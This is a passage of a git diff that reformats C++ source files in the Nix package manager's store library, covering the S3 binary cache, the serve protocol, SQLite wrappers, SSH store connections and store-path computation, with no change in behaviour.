@@ struct S3BinaryCacheStoreImpl : virtual S3BinaryCacheStoreConfig, public virtual }; transferConfig.transferStatusUpdatedCallback = [](const TransferManager * transferManager, - const std::shared_ptr & transferHandle) - { + const std::shared_ptr & transferHandle) { auto context = std::dynamic_pointer_cast(transferHandle->GetContext()); context->notify(); }; @@ -427,11 +401,13 @@ struct S3BinaryCacheStoreImpl : virtual S3BinaryCacheStoreConfig, public virtual throw Error("setting a content encoding is not supported with S3 multi-part uploads"); auto context = std::make_shared(act); - std::shared_ptr transferHandle = - transferManager->UploadFile( - istream, bucketName, path, mimeType, - Aws::Map(), - context /*, contentEncoding */); + std::shared_ptr transferHandle = transferManager->UploadFile( + istream, + bucketName, + path, + mimeType, + Aws::Map(), + context /*, contentEncoding */); TransferStatus status = transferHandle->GetStatus(); while (status == TransferStatus::IN_PROGRESS || status == TransferStatus::NOT_STARTED) { @@ -446,20 +422,19 @@ struct S3BinaryCacheStoreImpl : virtual S3BinaryCacheStoreConfig, public virtual act.progress(transferHandle->GetBytesTransferred(), transferHandle->GetBytesTotalSize()); if (status == TransferStatus::FAILED) - throw Error("AWS error: failed to upload 's3://%s/%s': %s", - bucketName, path, transferHandle->GetLastError().GetMessage()); + throw Error( + "AWS error: failed to upload 's3://%s/%s': %s", + bucketName, + path, + transferHandle->GetLastError().GetMessage()); if (status != TransferStatus::COMPLETED) - throw Error("AWS error: transfer status of 's3://%s/%s' in unexpected state", - bucketName, path); + throw Error("AWS error: transfer status of 's3://%s/%s' in unexpected state", bucketName, path); } else { act.progress(0, size); - auto request = - Aws::S3::Model::PutObjectRequest() - .WithBucket(bucketName) - .WithKey(path); + auto request = Aws::S3::Model::PutObjectRequest().WithBucket(bucketName).WithKey(path); size_t bytesSent = 0; request.SetDataSentEventHandler([&](const Aws::Http::HttpRequest * req, long long l) { @@ -467,9 +442,7 @@ struct S3BinaryCacheStoreImpl : virtual S3BinaryCacheStoreConfig, public virtual act.progress(bytesSent, size); }); - request.SetContinueRequestHandler([](const Aws::Http::HttpRequest*) { - return !isInterrupted(); - }); + request.SetContinueRequestHandler([](const Aws::Http::HttpRequest *) { return !isInterrupted(); }); request.SetContentType(mimeType); @@ -478,32 +451,28 @@ struct S3BinaryCacheStoreImpl : virtual S3BinaryCacheStoreConfig, public virtual request.SetBody(istream); - auto result = checkAws(fmt("AWS error uploading '%s'", path), - s3Helper.client->PutObject(request)); + auto result = checkAws(fmt("AWS error uploading '%s'", path), s3Helper.client->PutObject(request)); act.progress(size, size); } auto now2 = std::chrono::steady_clock::now(); - auto duration = - std::chrono::duration_cast(now2 - now1) - .count(); + auto duration = std::chrono::duration_cast(now2 - now1).count(); - printInfo("uploaded 's3://%s/%s' (%d bytes) in %d ms", - bucketName, path, size, duration); + printInfo("uploaded 's3://%s/%s' (%d bytes) in %d ms", bucketName, path, size, duration); stats.putTimeMs += duration; stats.putBytes += std::max(size, (decltype(size)) 0); stats.put++; } - void upsertFile(const std::string & path, + void upsertFile( + const std::string & path, std::shared_ptr> istream, const std::string & mimeType) override { - auto compress = [&](std::string compression) - { + auto compress = [&](std::string compression) { auto compressed = nix::compress(compression, StreamToSourceAdapter(istream).drain()); return std::make_shared(std::move(compressed)); }; @@ -529,8 +498,8 @@ struct S3BinaryCacheStoreImpl : virtual S3BinaryCacheStoreConfig, public virtual stats.getTimeMs += res.durationMs; if (res.data) { - printTalkative("downloaded 's3://%s/%s' (%d bytes) in %d ms", - bucketName, path, res.data->size(), res.durationMs); + printTalkative( + "downloaded 's3://%s/%s' (%d bytes) in %d ms", bucketName, path, res.data->size(), res.durationMs); sink(*res.data); } else @@ -545,21 +514,19 @@ struct S3BinaryCacheStoreImpl : virtual S3BinaryCacheStoreConfig, public virtual do { debug("listing bucket 's3://%s' from key '%s'...", bucketName, marker); - auto res = checkAws(fmt("AWS error listing bucket '%s'", bucketName), + auto res = checkAws( + fmt("AWS error listing bucket '%s'", bucketName), s3Helper.client->ListObjects( - Aws::S3::Model::ListObjectsRequest() - .WithBucket(bucketName) - .WithDelimiter("/") - .WithMarker(marker))); + Aws::S3::Model::ListObjectsRequest().WithBucket(bucketName).WithDelimiter("/").WithMarker(marker))); auto & contents = res.GetContents(); - debug("got %d keys, next marker '%s'", - contents.size(), res.GetNextMarker()); + debug("got %d keys, next marker '%s'", contents.size(), res.GetNextMarker()); for (const auto & object : contents) { auto & key = object.GetKey(); - if (key.size() != 40 || !hasSuffix(key, ".narinfo")) continue; + if (key.size() != 40 || !hasSuffix(key, ".narinfo")) + continue; paths.insert(parseStorePath(storeDir + "/" + key.substr(0, key.size() - 8) + "-" + MissingName)); } diff --git a/src/libstore/serve-protocol.cc b/src/libstore/serve-protocol.cc index 520c37951..b1697f9ac 100644 --- a/src/libstore/serve-protocol.cc +++ b/src/libstore/serve-protocol.cc @@ -20,33 +20,22 @@ BuildResult ServeProto::Serialise::read(const StoreDirConfig & stor conn.from >> status.errorMsg; if (GET_PROTOCOL_MINOR(conn.version) >= 3) - conn.from - >> status.timesBuilt - >> status.isNonDeterministic - >> status.startTime - >> status.stopTime; + conn.from >> status.timesBuilt >> status.isNonDeterministic >> status.startTime >> status.stopTime; if (GET_PROTOCOL_MINOR(conn.version) >= 6) { auto builtOutputs = ServeProto::Serialise::read(store, conn); for (auto && [output, realisation] : builtOutputs) - status.builtOutputs.insert_or_assign( - std::move(output.outputName), - std::move(realisation)); + status.builtOutputs.insert_or_assign(std::move(output.outputName), std::move(realisation)); } return status; } -void ServeProto::Serialise::write(const StoreDirConfig & store, ServeProto::WriteConn conn, const BuildResult & status) +void ServeProto::Serialise::write( + const StoreDirConfig & store, ServeProto::WriteConn conn, const BuildResult & status) { - conn.to - << status.status - << status.errorMsg; + conn.to << status.status << status.errorMsg; if (GET_PROTOCOL_MINOR(conn.version) >= 3) - conn.to - << status.timesBuilt - << status.isNonDeterministic - << status.startTime - << status.stopTime; + conn.to << status.timesBuilt << status.isNonDeterministic << status.startTime << status.stopTime; if (GET_PROTOCOL_MINOR(conn.version) >= 6) { DrvOutputs builtOutputs; for (auto & [output, realisation] : status.builtOutputs) @@ -55,12 +44,11 @@ void ServeProto::Serialise::write(const StoreDirConfig & store, Ser } } - UnkeyedValidPathInfo ServeProto::Serialise::read(const StoreDirConfig & store, ReadConn conn) { /* Hash should be set below unless very old `nix-store --serve`. Caller should assert that it did set it. */ - UnkeyedValidPathInfo info { Hash::dummy }; + UnkeyedValidPathInfo info{Hash::dummy}; auto deriver = readString(conn.from); if (deriver != "") @@ -81,25 +69,21 @@ UnkeyedValidPathInfo ServeProto::Serialise::read(const Sto return info; } -void ServeProto::Serialise::write(const StoreDirConfig & store, WriteConn conn, const UnkeyedValidPathInfo & info) +void ServeProto::Serialise::write( + const StoreDirConfig & store, WriteConn conn, const UnkeyedValidPathInfo & info) { - conn.to - << (info.deriver ? store.printStorePath(*info.deriver) : ""); + conn.to << (info.deriver ? store.printStorePath(*info.deriver) : ""); ServeProto::write(store, conn, info.references); // !!! Maybe we want compression? - conn.to - << info.narSize // downloadSize, lie a little - << info.narSize; + conn.to << info.narSize // downloadSize, lie a little + << info.narSize; if (GET_PROTOCOL_MINOR(conn.version) >= 4) - conn.to - << info.narHash.to_string(HashFormat::Nix32, true) - << renderContentAddress(info.ca) - << info.sigs; + conn.to << info.narHash.to_string(HashFormat::Nix32, true) << renderContentAddress(info.ca) << info.sigs; } - -ServeProto::BuildOptions ServeProto::Serialise::read(const StoreDirConfig & store, ReadConn conn) +ServeProto::BuildOptions +ServeProto::Serialise::read(const StoreDirConfig & store, ReadConn conn) { BuildOptions options; options.maxSilentTime = readInt(conn.from); @@ -116,18 +100,14 @@ ServeProto::BuildOptions ServeProto::Serialise::read(c return options; } -void ServeProto::Serialise::write(const StoreDirConfig & store, WriteConn conn, const ServeProto::BuildOptions & options) +void ServeProto::Serialise::write( + const StoreDirConfig & store, WriteConn conn, const ServeProto::BuildOptions & options) { - conn.to - << options.maxSilentTime - << options.buildTimeout; + conn.to << options.maxSilentTime << options.buildTimeout; if (GET_PROTOCOL_MINOR(conn.version) >= 2) - conn.to - << options.maxLogSize; + conn.to << options.maxLogSize; if (GET_PROTOCOL_MINOR(conn.version) >= 3) - conn.to - << options.nrRepeats - << options.enforceDeterminism; + conn.to << options.nrRepeats << options.enforceDeterminism; if (GET_PROTOCOL_MINOR(conn.version) >= 7) { conn.to << ((int) options.keepFailed); diff --git a/src/libstore/sqlite.cc b/src/libstore/sqlite.cc index 55b967ed6..45eb40698 100644 --- a/src/libstore/sqlite.cc +++ b/src/libstore/sqlite.cc @@ -11,11 +11,18 @@ namespace nix { -SQLiteError::SQLiteError(const char *path, const char *errMsg, int errNo, int extendedErrNo, int offset, HintFmt && hf) - : Error(""), path(path), errMsg(errMsg), errNo(errNo), extendedErrNo(extendedErrNo), offset(offset) +SQLiteError::SQLiteError( + const char * path, const char * errMsg, int errNo, int extendedErrNo, int offset, HintFmt && hf) + : Error("") + , path(path) + , errMsg(errMsg) + , errNo(errNo) + , extendedErrNo(extendedErrNo) + , offset(offset) { auto offsetStr = (offset == -1) ? "" : "at offset " + std::to_string(offset) + ": "; - err.msg = HintFmt("%s: %s%s, %s (in '%s')", + err.msg = HintFmt( + "%s: %s%s, %s (in '%s')", Uncolored(hf.str()), offsetStr, sqlite3_errstr(extendedErrNo), @@ -35,9 +42,7 @@ SQLiteError::SQLiteError(const char *path, const char *errMsg, int errNo, int ex if (err == SQLITE_BUSY || err == SQLITE_PROTOCOL) { auto exp = SQLiteBusy(path, errMsg, err, exterr, offset, std::move(hf)); exp.err.msg = HintFmt( - err == SQLITE_PROTOCOL - ? "SQLite database '%s' is busy (SQLITE_PROTOCOL)" - : "SQLite database '%s' is busy", + err == SQLITE_PROTOCOL ? "SQLite database '%s' is busy (SQLITE_PROTOCOL)" : "SQLite database '%s' is busy", path ? path : "(in-memory)"); throw exp; } else @@ -58,10 +63,11 @@ SQLite::SQLite(const Path & path, SQLiteOpenMode mode) // useSQLiteWAL also indicates what virtual file system we need. Using // `unix-dotfile` is needed on NFS file systems and on Windows' Subsystem // for Linux (WSL) where useSQLiteWAL should be false by default. - const char *vfs = settings.useSQLiteWAL ? 0 : "unix-dotfile"; + const char * vfs = settings.useSQLiteWAL ? 0 : "unix-dotfile"; bool immutable = mode == SQLiteOpenMode::Immutable; int flags = immutable ? SQLITE_OPEN_READONLY : SQLITE_OPEN_READWRITE; - if (mode == SQLiteOpenMode::Normal) flags |= SQLITE_OPEN_CREATE; + if (mode == SQLiteOpenMode::Normal) + flags |= SQLITE_OPEN_CREATE; auto uri = "file:" + percentEncode(path) + "?immutable=" + (immutable ? "1" : "0"); int ret = sqlite3_open_v2(uri.c_str(), &db, SQLITE_OPEN_URI | flags, vfs); if (ret != SQLITE_OK) { @@ -143,7 +149,7 @@ SQLiteStmt::Use::~Use() sqlite3_reset(stmt); } -SQLiteStmt::Use & SQLiteStmt::Use::operator () (std::string_view value, bool notNull) +SQLiteStmt::Use & SQLiteStmt::Use::operator()(std::string_view value, bool notNull) { if (notNull) { if (sqlite3_bind_text(stmt, curArg++, value.data(), -1, SQLITE_TRANSIENT) != SQLITE_OK) @@ -153,7 +159,7 @@ SQLiteStmt::Use & SQLiteStmt::Use::operator () (std::string_view value, bool not return *this; } -SQLiteStmt::Use & SQLiteStmt::Use::operator () (const unsigned char * data, size_t len, bool notNull) +SQLiteStmt::Use & SQLiteStmt::Use::operator()(const unsigned char * data, size_t len, bool notNull) { if (notNull) { if (sqlite3_bind_blob(stmt, curArg++, data, len, SQLITE_TRANSIENT) != SQLITE_OK) @@ -163,7 +169,7 @@ SQLiteStmt::Use & SQLiteStmt::Use::operator () (const unsigned char * data, size return *this; } -SQLiteStmt::Use & SQLiteStmt::Use::operator () (int64_t value, bool notNull) +SQLiteStmt::Use & SQLiteStmt::Use::operator()(int64_t value, bool notNull) { if (notNull) { if (sqlite3_bind_int64(stmt, curArg++, value) != SQLITE_OK) @@ -249,16 +255,14 @@ void handleSQLiteBusy(const SQLiteBusy & e, time_t & nextWarning) time_t now = time(0); if (now > nextWarning) { nextWarning = now + 10; - logWarning({ - .msg = HintFmt(e.what()) - }); + logWarning({.msg = HintFmt(e.what())}); } /* Sleep for a while since retrying the transaction right away is likely to fail again. */ checkInterrupt(); /* <= 0.1s */ - std::this_thread::sleep_for(std::chrono::milliseconds { rand() % 100 }); + std::this_thread::sleep_for(std::chrono::milliseconds{rand() % 100}); } } diff --git a/src/libstore/ssh-store.cc b/src/libstore/ssh-store.cc index 45ea05ffc..186f18dd2 100644 --- a/src/libstore/ssh-store.cc +++ b/src/libstore/ssh-store.cc @@ -10,10 +10,7 @@ namespace nix { -SSHStoreConfig::SSHStoreConfig( - std::string_view scheme, - std::string_view authority, - const Params & params) +SSHStoreConfig::SSHStoreConfig(std::string_view scheme, std::string_view authority, const Params & params) : StoreConfig(params) , RemoteStoreConfig(params) , CommonSSHStoreConfig(scheme, authority, params) @@ -23,18 +20,15 @@ SSHStoreConfig::SSHStoreConfig( std::string SSHStoreConfig::doc() { return - #include "ssh-store.md" - ; +#include "ssh-store.md" + ; } class SSHStore : public virtual SSHStoreConfig, public virtual RemoteStore { public: - SSHStore( - std::string_view scheme, - std::string_view host, - const Params & params) + SSHStore(std::string_view scheme, std::string_view host, const Params & params) : StoreConfig(params) , RemoteStoreConfig(params) , CommonSSHStoreConfig(scheme, host, params) @@ -42,8 +36,8 @@ public: , Store(params) , RemoteStore(params) , master(createSSHMaster( - // Use SSH master only if using more than 1 connection. - connections->capacity() > 1)) + // Use SSH master only if using more than 1 connection. + connections->capacity() > 1)) { } @@ -54,7 +48,9 @@ public: // FIXME extend daemon protocol, move implementation to RemoteStore std::optional getBuildLogExact(const StorePath & path) override - { unsupported("getBuildLogExact"); } + { + unsupported("getBuildLogExact"); + } protected: @@ -76,8 +72,7 @@ protected: SSHMaster master; - void setOptions(RemoteStore::Connection & conn) override - { + void setOptions(RemoteStore::Connection & conn) override { /* TODO Add a way to explicitly ask for some options to be forwarded. One option: A way to query the daemon for its settings, and then a series of params to SSHStore like @@ -87,7 +82,6 @@ protected: }; }; - MountedSSHStoreConfig::MountedSSHStoreConfig(StringMap params) : StoreConfig(params) , RemoteStoreConfig(params) @@ -109,11 +103,10 @@ MountedSSHStoreConfig::MountedSSHStoreConfig(std::string_view scheme, std::strin std::string MountedSSHStoreConfig::doc() { return - #include "mounted-ssh-store.md" - ; +#include "mounted-ssh-store.md" + ; } - /** * The mounted ssh store assumes that filesystems on the remote host are * shared with the local host. This means that the remote nix store is @@ -132,10 +125,7 @@ class MountedSSHStore : public virtual MountedSSHStoreConfig, public virtual SSH { public: - MountedSSHStore( - std::string_view scheme, - std::string_view host, - const Params & params) + MountedSSHStore(std::string_view scheme, std::string_view host, const Params & params) : StoreConfig(params) , RemoteStoreConfig(params) , CommonSSHStoreConfig(scheme, host, params) @@ -207,8 +197,7 @@ ref SSHStore::openConnection() command.push_back("--store"); command.push_back(remoteStore.get()); } - command.insert(command.end(), - extraRemoteProgramArgs.begin(), extraRemoteProgramArgs.end()); + command.insert(command.end(), extraRemoteProgramArgs.begin(), extraRemoteProgramArgs.end()); conn->sshConn = master.startCommand(std::move(command)); conn->to = FdSink(conn->sshConn->in.get()); conn->from = FdSource(conn->sshConn->out.get()); diff --git a/src/libstore/ssh.cc b/src/libstore/ssh.cc index 97b75cba1..b89707b99 100644 --- a/src/libstore/ssh.cc +++ b/src/libstore/ssh.cc @@ -21,7 +21,9 @@ SSHMaster::SSHMaster( std::string_view host, std::string_view keyFile, std::string_view sshPublicHostKey, - bool useMaster, bool compress, Descriptor logFD) + bool useMaster, + bool compress, + Descriptor logFD) : host(host) , fakeSSH(host == "localhost") , keyFile(keyFile) @@ -72,11 +74,12 @@ void SSHMaster::addCommonSSHOpts(Strings & args) args.push_back("-oLocalCommand=echo started"); } -bool SSHMaster::isMasterRunning() { +bool SSHMaster::isMasterRunning() +{ Strings args = {"-O", "check", host}; addCommonSSHOpts(args); - auto res = runProgram(RunOptions {.program = "ssh", .args = args, .mergeStderrToStdout = true}); + auto res = runProgram(RunOptions{.program = "ssh", .args = args, .mergeStderrToStdout = true}); return res.first == 0; } @@ -101,8 +104,7 @@ Strings createSSHEnv() return r; } -std::unique_ptr SSHMaster::startCommand( - Strings && command, Strings && extraSshArgs) +std::unique_ptr SSHMaster::startCommand(Strings && command, Strings && extraSshArgs) { #ifdef _WIN32 // TODO re-enable on Windows, once we can start processes. throw UnimplementedError("cannot yet SSH on windows because spawning processes is not yet implemented"); @@ -122,40 +124,41 @@ std::unique_ptr SSHMaster::startCommand( loggerSuspension = std::make_unique(logger->suspend()); } - conn->sshPid = startProcess([&]() { - restoreProcessContext(); + conn->sshPid = startProcess( + [&]() { + restoreProcessContext(); - close(in.writeSide.get()); - close(out.readSide.get()); + close(in.writeSide.get()); + close(out.readSide.get()); - if (dup2(in.readSide.get(), STDIN_FILENO) == -1) - throw SysError("duping over stdin"); - if (dup2(out.writeSide.get(), STDOUT_FILENO) == -1) - throw SysError("duping over stdout"); - if (logFD != -1 && dup2(logFD, STDERR_FILENO) == -1) - throw SysError("duping over stderr"); + if (dup2(in.readSide.get(), STDIN_FILENO) == -1) + throw SysError("duping over stdin"); + if (dup2(out.writeSide.get(), STDOUT_FILENO) == -1) + throw SysError("duping over stdout"); + if (logFD != -1 && dup2(logFD, STDERR_FILENO) == -1) + throw SysError("duping over stderr"); - Strings args; + Strings args; - if (!fakeSSH) { - args = { "ssh", host.c_str(), "-x" }; - addCommonSSHOpts(args); - if (socketPath != "") - args.insert(args.end(), {"-S", socketPath}); - if (verbosity >= lvlChatty) - args.push_back("-v"); - args.splice(args.end(), std::move(extraSshArgs)); - args.push_back("--"); - } + if (!fakeSSH) { + args = {"ssh", host.c_str(), "-x"}; + addCommonSSHOpts(args); + if (socketPath != "") + args.insert(args.end(), {"-S", socketPath}); + if (verbosity >= lvlChatty) + args.push_back("-v"); + args.splice(args.end(), std::move(extraSshArgs)); + args.push_back("--"); + } - args.splice(args.end(), std::move(command)); - auto env = createSSHEnv(); - nix::execvpe(args.begin()->c_str(), stringsToCharPtrs(args).data(), stringsToCharPtrs(env).data()); - - // could not exec ssh/bash - throw SysError("unable to execute '%s'", args.front()); - }, options); + args.splice(args.end(), std::move(command)); + auto env = createSSHEnv(); + nix::execvpe(args.begin()->c_str(), stringsToCharPtrs(args).data(), stringsToCharPtrs(env).data()); + // could not exec ssh/bash + throw SysError("unable to execute '%s'", args.front()); + }, + options); in.readSide = INVALID_DESCRIPTOR; out.writeSide = INVALID_DESCRIPTOR; @@ -166,7 +169,8 @@ std::unique_ptr SSHMaster::startCommand( std::string reply; try { reply = readLine(out.readSide.get()); - } catch (EndOfFile & e) { } + } catch (EndOfFile & e) { + } if (reply != "started") { printTalkative("SSH stdout first line: %s", reply); @@ -185,11 +189,13 @@ std::unique_ptr SSHMaster::startCommand( Path SSHMaster::startMaster() { - if (!useMaster) return ""; + if (!useMaster) + return ""; auto state(state_.lock()); - if (state->sshMaster != INVALID_DESCRIPTOR) return state->socketPath; + if (state->sshMaster != INVALID_DESCRIPTOR) + return state->socketPath; state->socketPath = (Path) *state->tmpDir + "/ssh.sock"; @@ -204,30 +210,33 @@ Path SSHMaster::startMaster() if (isMasterRunning()) return state->socketPath; - state->sshMaster = startProcess([&]() { - restoreProcessContext(); + state->sshMaster = startProcess( + [&]() { + restoreProcessContext(); - close(out.readSide.get()); + close(out.readSide.get()); - if (dup2(out.writeSide.get(), STDOUT_FILENO) == -1) - throw SysError("duping over stdout"); + if (dup2(out.writeSide.get(), STDOUT_FILENO) == -1) + throw SysError("duping over stdout"); - Strings args = { "ssh", host.c_str(), "-M", "-N", "-S", state->socketPath }; - if (verbosity >= lvlChatty) - args.push_back("-v"); - addCommonSSHOpts(args); - auto env = createSSHEnv(); - nix::execvpe(args.begin()->c_str(), stringsToCharPtrs(args).data(), stringsToCharPtrs(env).data()); + Strings args = {"ssh", host.c_str(), "-M", "-N", "-S", state->socketPath}; + if (verbosity >= lvlChatty) + args.push_back("-v"); + addCommonSSHOpts(args); + auto env = createSSHEnv(); + nix::execvpe(args.begin()->c_str(), stringsToCharPtrs(args).data(), stringsToCharPtrs(env).data()); - throw SysError("unable to execute '%s'", args.front()); - }, options); + throw SysError("unable to execute '%s'", args.front()); + }, + options); out.writeSide = INVALID_DESCRIPTOR; std::string reply; try { reply = readLine(out.readSide.get()); - } catch (EndOfFile & e) { } + } catch (EndOfFile & e) { + } if (reply != "started") { printTalkative("SSH master stdout first line: %s", reply); diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc index e9e982e61..a980efe5a 100644 --- a/src/libstore/store-api.cc +++ b/src/libstore/store-api.cc @@ -28,13 +28,11 @@ using json = nlohmann::json; namespace nix { - bool StoreDirConfig::isInStore(PathView path) const { return isInDir(path, storeDir); } - std::pair StoreDirConfig::toStorePath(PathView path) const { if (!isInStore(path)) @@ -46,12 +44,12 @@ std::pair StoreDirConfig::toStorePath(PathView path) const return {parseStorePath(path.substr(0, slash)), (Path) path.substr(slash)}; } - Path Store::followLinksToStore(std::string_view _path) const { Path path = absPath(std::string(_path)); while (!isInStore(path)) { - if (!std::filesystem::is_symlink(path)) break; + if (!std::filesystem::is_symlink(path)) + break; auto target = readLink(path); path = absPath(target, dirOf(path)); } @@ -60,13 +58,11 @@ Path Store::followLinksToStore(std::string_view _path) const return path; } - StorePath Store::followLinksToStorePath(std::string_view path) const { return toStorePath(followLinksToStore(path)).first; } - /* The exact specification of store paths is in `protocols/store-path.md` in the Nix manual. These few functions implement that specification. @@ -76,49 +72,38 @@ also update the user-visible behavior, please update the specification to match. */ - -StorePath StoreDirConfig::makeStorePath(std::string_view type, - std::string_view hash, std::string_view name) const +StorePath StoreDirConfig::makeStorePath(std::string_view type, std::string_view hash, std::string_view name) const { /* e.g., "source:sha256:1abc...:/nix/store:foo.tar.gz" */ - auto s = std::string(type) + ":" + std::string(hash) - + ":" + storeDir + ":" + std::string(name); + auto s = std::string(type) + ":" + std::string(hash) + ":" + storeDir + ":" + std::string(name); auto h = compressHash(hashString(HashAlgorithm::SHA256, s), 20); return StorePath(h, name); } - -StorePath StoreDirConfig::makeStorePath(std::string_view type, - const Hash & hash, std::string_view name) const +StorePath StoreDirConfig::makeStorePath(std::string_view type, const Hash & hash, std::string_view name) const { return makeStorePath(type, hash.to_string(HashFormat::Base16, true), name); } - -StorePath StoreDirConfig::makeOutputPath(std::string_view id, - const Hash & hash, std::string_view name) const +StorePath StoreDirConfig::makeOutputPath(std::string_view id, const Hash & hash, std::string_view name) const { - return makeStorePath("output:" + std::string { id }, hash, outputPathName(name, id)); + return makeStorePath("output:" + std::string{id}, hash, outputPathName(name, id)); } - /* Stuff the references (if any) into the type. This is a bit hacky, but we can't put them in, say, (per the grammar above) since that would be ambiguous. */ -static std::string makeType( - const StoreDirConfig & store, - std::string && type, - const StoreReferences & references) +static std::string makeType(const StoreDirConfig & store, std::string && type, const StoreReferences & references) { for (auto & i : references.others) { type += ":"; type += store.printStorePath(i); } - if (references.self) type += ":self"; + if (references.self) + type += ":self"; return std::move(type); } - StorePath StoreDirConfig::makeFixedOutputPath(std::string_view name, const FixedOutputInfo & info) const { if (info.method == FileIngestionMethod::Git && info.hash.algo != HashAlgorithm::SHA1) @@ -128,40 +113,41 @@ StorePath StoreDirConfig::makeFixedOutputPath(std::string_view name, const Fixed return makeStorePath(makeType(*this, "source", info.references), info.hash, name); } else { if (!info.references.empty()) { - throw Error("fixed output derivation '%s' is not allowed to refer to other store paths.\nYou may need to use the 'unsafeDiscardReferences' derivation attribute, see the manual for more details.", + throw Error( + "fixed output derivation '%s' is not allowed to refer to other store paths.\nYou may need to use the 'unsafeDiscardReferences' derivation attribute, see the manual for more details.", name); } // make a unique digest based on the parameters for creating this store object - auto payload = "fixed:out:" - + makeFileIngestionPrefix(info.method) - + info.hash.to_string(HashFormat::Base16, true) + ":"; + auto payload = + "fixed:out:" + makeFileIngestionPrefix(info.method) + info.hash.to_string(HashFormat::Base16, true) + ":"; auto digest = hashString(HashAlgorithm::SHA256, payload); return makeStorePath("output:out", digest, name); } } - -StorePath StoreDirConfig::makeFixedOutputPathFromCA(std::string_view name, const ContentAddressWithReferences & ca) const +StorePath +StoreDirConfig::makeFixedOutputPathFromCA(std::string_view name, const ContentAddressWithReferences & ca) const { // New template - return std::visit(overloaded { - [&](const TextInfo & ti) { - assert(ti.hash.algo == HashAlgorithm::SHA256); - return makeStorePath( - makeType(*this, "text", StoreReferences { - .others = ti.references, - .self = false, - }), - ti.hash, - name); - }, - [&](const FixedOutputInfo & foi) { - return makeFixedOutputPath(name, foi); - } - }, ca.raw); + return std::visit( + overloaded{ + [&](const TextInfo & ti) { + assert(ti.hash.algo == HashAlgorithm::SHA256); + return makeStorePath( + makeType( + *this, + "text", + StoreReferences{ + .others = ti.references, + .self = false, + }), + ti.hash, + name); + }, + [&](const FixedOutputInfo & foi) { return makeFixedOutputPath(name, foi); }}, + ca.raw); } - std::pair StoreDirConfig::computeStorePath( std::string_view name, const SourcePath & path, @@ -187,7 +173,6 @@ std::pair StoreDirConfig::computeStorePath( }; } - StorePath Store::addToStore( std::string_view name, const SourcePath & path, @@ -222,11 +207,7 @@ StorePath Store::addToStore( return storePath.value(); } -void Store::addMultipleToStore( - PathsSource && pathsToCopy, - Activity & act, - RepairFlag repair, - CheckSigsFlag checkSigs) +void Store::addMultipleToStore(PathsSource && pathsToCopy, Activity & act, RepairFlag repair, CheckSigsFlag checkSigs) { std::atomic nrDone{0}; std::atomic nrFailed{0}; @@ -246,15 +227,12 @@ void Store::addMultipleToStore( act.setExpected(actCopyPath, bytesExpected); - auto showProgress = [&, nrTotal = pathsToCopy.size()]() { - act.progress(nrDone, nrTotal, nrRunning, nrFailed); - }; + auto showProgress = [&, nrTotal = pathsToCopy.size()]() { act.progress(nrDone, nrTotal, nrRunning, nrFailed); }; processGraph( storePathsToAdd, [&](const StorePath & path) { - auto & [info, _] = *infosMap.at(path); if (isValidPath(info.path)) { @@ -300,17 +278,15 @@ void Store::addMultipleToStore( }); } -void Store::addMultipleToStore( - Source & source, - RepairFlag repair, - CheckSigsFlag checkSigs) +void Store::addMultipleToStore(Source & source, RepairFlag repair, CheckSigsFlag checkSigs) { auto expected = readNum(source); for (uint64_t i = 0; i < expected; ++i) { // FIXME we should not be using the worker protocol here, let // alone the worker protocol with a hard-coded version! - auto info = WorkerProto::Serialise::read(*this, - WorkerProto::ReadConn { + auto info = WorkerProto::Serialise::read( + *this, + WorkerProto::ReadConn{ .from = source, .version = 16, }); @@ -319,7 +295,6 @@ void Store::addMultipleToStore( } } - /* The aim of this function is to compute in one pass the correct ValidPathInfo for the files that we are trying to add to the store. To accomplish that in one @@ -346,38 +321,37 @@ digraph graphname { ValidPathInfo Store::addToStoreSlow( std::string_view name, const SourcePath & srcPath, - ContentAddressMethod method, HashAlgorithm hashAlgo, + ContentAddressMethod method, + HashAlgorithm hashAlgo, const StorePathSet & references, std::optional expectedCAHash) { - HashSink narHashSink { HashAlgorithm::SHA256 }; - HashSink caHashSink { hashAlgo }; + HashSink narHashSink{HashAlgorithm::SHA256}; + HashSink caHashSink{hashAlgo}; /* Note that fileSink and unusualHashTee must be mutually exclusive, since they both write to caHashSink. Note that that requisite is currently true because the former is only used in the flat case. */ - RegularFileSink fileSink { caHashSink }; - TeeSink unusualHashTee { narHashSink, caHashSink }; + RegularFileSink fileSink{caHashSink}; + TeeSink unusualHashTee{narHashSink, caHashSink}; auto & narSink = method == ContentAddressMethod::Raw::NixArchive && hashAlgo != HashAlgorithm::SHA256 - ? static_cast(unusualHashTee) - : narHashSink; + ? static_cast(unusualHashTee) + : narHashSink; /* Functionally, this means that fileSource will yield the content of srcPath. The fact that we use scratchpadSink as a temporary buffer here is an implementation detail. */ - auto fileSource = sinkToSource([&](Sink & scratchpadSink) { - srcPath.dumpPath(scratchpadSink); - }); + auto fileSource = sinkToSource([&](Sink & scratchpadSink) { srcPath.dumpPath(scratchpadSink); }); /* tapped provides the same data as fileSource, but we also write all the information to narSink. */ - TeeSource tapped { *fileSource, narSink }; + TeeSource tapped{*fileSource, narSink}; NullFileSystemObjectSink blank; auto & parseSink = method.getFileIngestionMethod() == FileIngestionMethod::Flat - ? (FileSystemObjectSink &) fileSink - : (FileSystemObjectSink &) blank; // for recursive or git we do recursive + ? (FileSystemObjectSink &) fileSink + : (FileSystemObjectSink &) blank; // for recursive or git we do recursive /* The information that flows from tapped (besides being replicated in narSink), is now put in parseSink. */ @@ -387,16 +361,14 @@ ValidPathInfo Store::addToStoreSlow( finish. */ auto [narHash, narSize] = narHashSink.finish(); - auto hash = method == ContentAddressMethod::Raw::NixArchive && hashAlgo == HashAlgorithm::SHA256 - ? narHash - : method == ContentAddressMethod::Raw::Git - ? git::dumpHash(hashAlgo, srcPath).hash - : caHashSink.finish().first; + auto hash = method == ContentAddressMethod::Raw::NixArchive && hashAlgo == HashAlgorithm::SHA256 ? narHash + : method == ContentAddressMethod::Raw::Git ? git::dumpHash(hashAlgo, srcPath).hash + : caHashSink.finish().first; if (expectedCAHash && expectedCAHash != hash) throw Error("hash mismatch for '%s'", srcPath); - ValidPathInfo info { + ValidPathInfo info{ *this, name, ContentAddressWithReferences::fromParts( @@ -411,9 +383,7 @@ ValidPathInfo Store::addToStoreSlow( info.narSize = narSize; if (!isValidPath(info.path)) { - auto source = sinkToSource([&](Sink & scratchpadSink) { - srcPath.dumpPath(scratchpadSink); - }); + auto source = sinkToSource([&](Sink & scratchpadSink) { srcPath.dumpPath(scratchpadSink); }); addToStore(info, *source); } @@ -440,7 +410,6 @@ 